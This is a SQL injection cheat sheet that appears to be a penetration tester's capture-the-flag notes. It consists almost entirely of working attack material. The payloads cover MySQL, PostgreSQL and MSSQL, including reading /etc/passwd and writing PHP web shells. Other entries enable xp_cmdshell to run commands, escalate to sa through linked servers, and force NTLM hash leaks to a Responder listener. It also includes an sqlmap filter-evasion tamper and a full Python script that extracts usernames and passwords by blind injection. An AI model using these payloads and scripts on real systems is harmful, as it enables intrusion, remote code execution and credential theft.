SQLi/DB
Basics
1 OR 1=1-- -
1' OR 1=1-- -
1" OR 1=1-- -
admin'-- -
Time Based
# MySQL
exist' AND (select SLEEP(5))-- -
doesntexist' OR 0 in (select sleep(15) ) -- -
# PostgreSQL
1';SELECT PG_SLEEP(5)-- -
exist' AND 1=(select 1 from PG_SLEEP(5))-- -
1';CREATE TABLE hack(a text);copy hack from program 'sleep 10';DROP TABLE IF EXISTS hack;-- -
# MSSQL
1' WAITFOR DELAY '0:0:10'-- -
1';WAITFOR DELAY '0:0:10'-- -
1'; EXEC sp_configure 'show advanced options', 1 ; EXEC sp_configure 'xp_cmdshell', 1 ; RECONFIGURE ; EXEC xp_cmdshell 'ping 192.0.2.1 -n 1 -w 10000' -- -
1'; EXEC sp_configure 'show advanced options', 1 ; EXEC sp_configure 'xp_cmdshell', 1 ; RECONFIGURE ; EXEC xp_cmdshell 'powershell -c "Start-Sleep -Seconds 10"' -- -
Read/Write
# MySQL
select load_file('/etc/passwd');
select '<?php echo 1;?>' into OUTFILE '/var/www/html/test.php'
" UNION SELECT NULL,NULL,'<?=`$_GET[0]`?>' into outfile 'C:\\xampp\\htdocs\\site1\\src\\test2.php' --
Union
doesnotexist' UNION SELECT 1,2,3,4,5,6;-- -
1' Union Select 'aaa','bbb','ccc','ddd','eee' -- -
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT 'abc',NULL,NULL--
' UNION SELECT username, password FROM users--
' UNION SELECT NULL,username||'~'||password FROM users--
# MySQL
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
XML Encoding
You can convert chars to xml references such as numerical or hexadecimal values
# Hex
echo -n 's' | xxd -plain | sed 's/\(..\)/\&#x\1;/g'
echo -n 's' | python3 -c 'import sys;[print(f"&#x{ord(char):x};",end="") for char in sys.stdin.read()]'
# Dec
echo -n 's' | python3 -c 'import sys;[print(f"&#{ord(char)};",end="") for char in sys.stdin.read()]'
# Example: s == s == s
Payload example
1 union select NULL
MSSQL
# Version
SELECT @@version
# Perms
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
# DBs
SELECT name FROM master.sys.databases
# Tables
SELECT * FROM myamazingdb.INFORMATION_SCHEMA.TABLES
# Exec
EXEC sp_configure 'show advanced options', 1 ; EXEC sp_configure 'xp_cmdshell', 1 ; RECONFIGURE ; EXEC xp_cmdshell 'whoami'
EXEC sp_configure 'show advanced options', 1 ; EXEC sp_configure 'xp_cmdshell', 1 ; RECONFIGURE ; EXEC xp_cmdshell 'ping 192.0.2.1 -n 1 -w 10000'
# User // host // domain
select user_name();
select DEFAULT_DOMAIN()
# List users we can impersonate
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
# Linked servers
SELECT * FROM sys.servers;
EXECUTE('select user_name()') AT "OTHERSRV"
EXECUTE('SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = ''IMPERSONATE''') AT "PRIMARY"
EXECUTE('EXECUTE AS LOGIN = ''sa'' EXEC SP_CONFIGURE ''show advanced options'', 1;reconfigure;EXEC SP_CONFIGURE ''xp_cmdshell'' , 1;reconfigure;exec xp_cmdshell ''whoami'' ') AT "PRIMARY"
AD Enum
SELECT master.dbo.fn_varbintohexstr(SUSER_SID(CONCAT(DEFAULT_DOMAIN(),'\',HOST_NAME(),'$')))
'0x0105000000000005150000001c00d1bcd181f1492bdfc236e8030000'
Then remove the 8 last chars to get the domain sid.
And generate the SQL queries to retrieve all id from 1000 to 1300 (or higher)
import struct
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
def get_sid(n):
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}"
for i in range(0,3):
req="SELECT CONCAT("
for id in range(1000+(i*100),1100+(i*100)):
sid=get_sid(id)
req+=f"SUSER_SNAME({sid}),'|',"
req = req[:-1] + ")"
print(req)
NTLM
You can try to trigger a connection and crack NTLMv2
# List folders
EXEC master.sys.xp_dirtree '\',1,1;
# If it works, then you can try to trigger a connection.
# First listen with responder
sudo python3 /opt/Responder/Responder.py -I tun0 -w
# Then call responder from MSSQL
EXEC master.sys.xp_dirtree '\\10.10.14.139\beepboop',1,1;
SQLmap
python3 /opt/sqlmap-dev/sqlmap.py -u "http://host.com/api/whatever" --level=5 --risk=1 --dbs --data '{"name":"*"}' --dbms=mssql --tamper=utf16 --ignore-code=403 --technique=BU --threads=1 --delay=1 --text-only
Tamper
Custom Tamper
cat <<'EOF'>/opt/sqlmap-dev/tamper/utf16.py
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Converts the SQL injection payload to UTF-16 encoding.
"""
retVal = ""
if payload:
for char in payload:
retVal += r'\u00'+hex(ord(char))[2:]
payload = retVal
return payload
EOF
Script
Automation of boolean SQLi
#!/usr/bin/python3
import http.client
import string
import ssl
import json
host = "sub.host.htb"
port = 443
url = "/search.php"
lowercase = string.ascii_lowercase
letters = string.ascii_letters
digits = string.digits
specials = "@{}-/()!\"$=^[]:;"
charset = letters + digits + specials
users=[]
def sendreq(req: str) -> bool:
# print(req)
# Define headers
headers = {
'Content-Type':'application/x-www-form-urlencoded',
}
# Create HTTP connection
conn = http.client.HTTPSConnection(host, port, context = ssl._create_unverified_context())
# Send the request
conn.request("POST", url, body=req, headers=headers)
# Get the response
response = conn.getresponse()
data = response.read()
# Close the connection
conn.close()
if response.status != 200:
print(f"Found code {response.status} (req:{req})")
return False
if "Text when true" in data.decode("utf-8", errors="ignore"):
return True
return False
def enumUsers():
def buildReqLike(user):
concat=""
for l in user:
concat += f"'{l}',"
return f"q=' and (select count(username) from users where username like CONCAT({concat[:-1]},'%')) > 0 -- -"
def buildReqExact(user):
concat=""
for l in user:
concat += f"'{l}',"
return f"q=' and (select count(username) from users where username = CONCAT({concat[:-1]})) > 0 -- -"
guessqueue=[""]
while len(guessqueue) > 0:
incomplete = guessqueue.pop()
for char in lowercase:
guess = incomplete + char
# print(guess)
if sendreq(buildReqLike(guess)):
guessqueue.append(guess)
if sendreq(buildReqExact(guess)):
users.append(guess)
print(f"FOUND : {guess}")
else:
print(f"INCOMPLETE : {guess}")
print(json.dumps(users, indent=4))
def enumPasswords():
def buildReqLike(user,password):
concatpass=""
for l in password:
concatpass += f"'{l}',"
concatuser=""
for l in user:
concatuser += f"'{l}',"
return f"q=' and (select count(password) from users where username = CONCAT({concatuser[:-1]}) and password like CONCAT({concatpass[:-1]},'%')) > 0 -- -"
for user in users:
print(str(f"{user}:"), end='', flush=True)
incomplete = ""
charset = digits + lowercase
loop=True
while loop:
for char in charset:
guess = incomplete + char
if sendreq(buildReqLike(user,guess)):
incomplete+=char
print(str(char), end='', flush=True)
break
if char == charset[-1]:
loop=False
print()
enumUsers()
enumPasswords()